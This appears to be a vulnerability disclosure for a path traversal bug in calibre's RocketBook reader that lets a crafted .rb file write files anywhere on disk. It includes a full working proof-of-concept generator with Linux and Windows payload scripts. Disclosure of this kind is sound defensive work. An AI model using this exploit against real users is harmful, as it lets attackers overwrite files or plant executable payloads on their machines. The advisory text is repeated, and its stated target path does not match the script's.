Summary
A path traversal vulnerability in the RocketBook (.rb) input plugin (src/calibre/ebooks/rb/reader.py) allows an attacker to write arbitrary files to any path writable by the calibre process when a user opens or converts a crafted .rb file. This is the same bug class fixed in CVE-2026-26065 (GHSA-vmfh-7mr7-pp2w) for the PDB readers, but the fix was never applied to the RB reader.
Details
get_toc() reads a 32-byte TOC entry name from attacker-controlled binary data and URL-decodes it without any path sanitization (line 64). Both get_text() (line 90) and get_image() (line 100) pass this name directly to os.path.join(output_dir, name) and open the result for writing:
# get_toc() — no sanitization
name = unquote(self.stream.read(32).strip(b'\x00'))
# get_text() / get_image() — direct open
with open(os.path.join(output_dir, toc_item.name.decode('utf-8')), 'wb') as f:
...
When the name is an absolute path (e.g. /home/user/evil.png), os.path.join discards output_dir entirely. Relative traversal (../../evil.html) also works. No os.path.basename(), no boundary check, no .. stripping exists.
The patched PDB readers (reader132.py, reader202.py) use an image_dest() helper with a commonprefix boundary check — rb/reader.py has no equivalent.
The .png code path (get_image) writes raw bytes with no transformation, giving the attacker full control over file content. The .html code path (get_text) applies a cp1252→UTF-8 re-encoding.
PoC
-
Generate the malicious .rb file:
python3 make_poc_rb.py malicious.rb
-
Convert with calibre (the file write occurs during conversion):
ebook-convert malicious.rb output.epub
The conversion errors with "Spine is empty" — this is expected. The file write has already occurred.
-
Verify:
ls -la /tmp/CALIBRE_RB_POC.png
file /tmp/CALIBRE_RB_POC.png # "POSIX shell script, ASCII text executable"
xxd /tmp/CALIBRE_RB_POC.png # raw attacker bytes, byte-for-byte
The PoC generator (make_poc_rb.py) constructs a valid RB file with a TOC entry whose name is the absolute path /tmp/CALIBRE_RB_POC.png. The content block is a shell script. After conversion, the shell script lands at the absolute path — confirmed by file identifying it as a shell script, not an image.
Tested on calibre 9.4, Linux. Windows is equally affected — os.path.join behaves identically with absolute paths and ..\..\ traversal on Windows.
Impact
Arbitrary png/html file write. Any user who opens or converts an attacker-supplied .rb file has arbitrary files written to any writable location on their filesystem, including their home directory and Desktop. The .png code path writes fully attacker-controlled binary content. This can overwrite existing files (data destruction) or place payloads in sensitive locations. The vulnerability requires no privileges and works cross-platform (Linux and Windows).
PoC Code Generator
#!/usr/bin/env python3
"""
PoC generator — calibre RB reader path traversal (CVE pending)
Writes a malicious .rb file; convert it with:
ebook-convert malicious.rb output.epub
then check for the escaped file on the filesystem.
Usage:
python3 make_poc_rb.py # Linux Desktop (png, raw bytes)
python3 make_poc_rb.py --windows # Windows Desktop (png, raw bytes)
python3 make_poc_rb.py --html # Linux Desktop (html, re-encoded)
python3 make_poc_rb.py --windows --html # Windows Desktop (html)
python3 make_poc_rb.py -o payload.rb # custom output filename
"""
import struct
import sys
# 14-byte magic verified by Reader.verify_file()
RB_HEADER = b'\xb0\x0c\xb0\x0c\x02\x00NUVO\x00\x00\x00\x00'
def build_rb(entries):
"""
Assemble a valid RocketBook file from a list of TOC entries.
entries: list of (name_bytes, content_bytes, flags)
name_bytes : raw bytes for the 32-byte TOC name field
content_bytes : data placed in the file body
flags : 0 for both get_text and get_image paths
"""
content_offset = 32
block_map = []
body = b''
for _, content, _ in entries:
block_map.append((content_offset + len(body), len(content)))
body += content
toc_offset = content_offset + len(body)
toc = struct.pack('<I', len(entries))
for i, (name, _, flags) in enumerate(entries):
name_field = name[:32].ljust(32, b'\x00')
off, sz = block_map[i]
toc += name_field + struct.pack('<III', sz, off, flags)
data = (
RB_HEADER
+ b'\x00' * 10
+ struct.pack('<I', toc_offset)
+ struct.pack('<I', 0) # placeholder for file size
+ body
+ toc
)
# patch real size at offset 28
return data[:28] + struct.pack('<I', len(data)) + data[32:]
# ---------------------------------------------------------------------------
# Payloads
# ---------------------------------------------------------------------------
# Linux — absolute path to user's Desktop
# .png path: get_image() writes raw bytes, no transformation
LINUX_PNG_NAME = b'/home/test/Desktop/poc.png' # 26 bytes
LINUX_PNG_PAYLOAD = b'#!/bin/sh\necho CALIBRE_RB_PATH_TRAVERSAL > /tmp/rce_proof.txt\n'
# .html path: get_text() applies cp1252 -> UTF-8 re-encoding (text survives)
LINUX_HTML_NAME = b'/home/test/Desktop/poc.html' # 27 bytes
LINUX_HTML_PAYLOAD = b'<html><body>CALIBRE RB PATH TRAVERSAL PoC - written to Desktop</body></html>'
# Windows — relative traversal to Desktop (works for ANY username)
# From %TEMP%\calibre-XXX\_plumberXXX: 5 levels up reaches user home
WIN_PNG_NAME = b'..\\..\\..\\..\\..\\Desktop\\x.png' # 28 bytes
WIN_PNG_PAYLOAD = b'@echo off\r\necho CALIBRE_RB_PATH_TRAVERSAL > %TEMP%\\rce_proof.txt\r\n'
WIN_HTML_NAME = b'..\\..\\..\\..\\..\\Desktop\\x.html' # 29 bytes
WIN_HTML_PAYLOAD = b'<html><body>CALIBRE RB PATH TRAVERSAL PoC - written to Desktop</body></html>'
# ---------------------------------------------------------------------------
# CLI
# ---------------------------------------------------------------------------
use_windows = '--windows' in sys.argv or '-w' in sys.argv
use_html = '--html' in sys.argv
if use_windows:
name = WIN_HTML_NAME if use_html else WIN_PNG_NAME
payload = WIN_HTML_PAYLOAD if use_html else WIN_PNG_PAYLOAD
platform_label = 'Windows'
else:
name = LINUX_HTML_NAME if use_html else LINUX_PNG_NAME
payload = LINUX_HTML_PAYLOAD if use_html else LINUX_PNG_PAYLOAD
platform_label = 'Linux'
assert len(name) <= 32, f'Name too long: {len(name)} bytes (max 32)'
# Output filename
out = 'malicious.rb'
if '-o' in sys.argv:
idx = sys.argv.index('-o')
if idx + 1 < len(sys.argv):
out = sys.argv[idx + 1]
entries = [(name, payload, 0)]
rb_bytes = build_rb(entries)
with open(out, 'wb') as f:
f.write(rb_bytes)
print(f'[+] Platform: {platform_label}')
print(f'[+] Written : {out} ({len(rb_bytes)} bytes)')
print(f'[+] TOC name: {name!r} ({len(name)} bytes)')
print(f'[+] Payload : {len(payload)} bytes, {"raw binary" if not use_html else "HTML text"}')
print()
print('Conversion command:')
print(f' ebook-convert {out} output.epub')
print()
if use_windows:
decoded = name.decode().replace('\\', '\\\\')
print('After conversion, check the user Desktop:')
print(f' dir %USERPROFILE%\\Desktop\\{name.decode().rsplit(chr(92))[-1]}')
print()
print('The relative traversal ..\\..\\..\\..\\..\\ navigates from')
print('%TEMP%\\calibre-XXX\\_plumberXXX (5 levels below user home)')
print('to the Desktop — works for ANY Windows username.')
else:
decoded = name.decode()
print('After conversion, check:')
print(f' ls -la {decoded}')
print(f' xxd {decoded}')
Summary
A path traversal vulnerability in the RocketBook (.rb) input plugin (
src/calibre/ebooks/rb/reader.py) allows an attacker to write arbitrary files to any path writable by the calibre process when a user opens or converts a crafted.rbfile. This is the same bug class fixed in CVE-2026-26065 (GHSA-vmfh-7mr7-pp2w) for the PDB readers, but the fix was never applied to the RB reader.Details
get_toc()reads a 32-byte TOC entry name from attacker-controlled binary data and URL-decodes it without any path sanitization (line 64). Bothget_text()(line 90) andget_image()(line 100) pass this name directly toos.path.join(output_dir, name)and open the result for writing:When the name is an absolute path (e.g.
/home/user/evil.png),os.path.joindiscardsoutput_direntirely. Relative traversal (../../evil.html) also works. Noos.path.basename(), no boundary check, no..stripping exists.The patched PDB readers (
reader132.py,reader202.py) use animage_dest()helper with acommonprefixboundary check —rb/reader.pyhas no equivalent.The
.pngcode path (get_image) writes raw bytes with no transformation, giving the attacker full control over file content. The.htmlcode path (get_text) applies a cp1252→UTF-8 re-encoding.PoC
Generate the malicious
.rbfile:Convert with calibre (the file write occurs during conversion):
The conversion errors with "Spine is empty" — this is expected. The file write has already occurred.
Verify:
The PoC generator (
make_poc_rb.py) constructs a valid RB file with a TOC entry whose name is the absolute path/tmp/CALIBRE_RB_POC.png. The content block is a shell script. After conversion, the shell script lands at the absolute path — confirmed byfileidentifying it as a shell script, not an image.Tested on calibre 9.4, Linux. Windows is equally affected —
os.path.joinbehaves identically with absolute paths and..\..\traversal on Windows.Impact
Arbitrary png/html file write. Any user who opens or converts an attacker-supplied
.rbfile has arbitrary files written to any writable location on their filesystem, including their home directory and Desktop. The.pngcode path writes fully attacker-controlled binary content. This can overwrite existing files (data destruction) or place payloads in sensitive locations. The vulnerability requires no privileges and works cross-platform (Linux and Windows).PoC Code Generator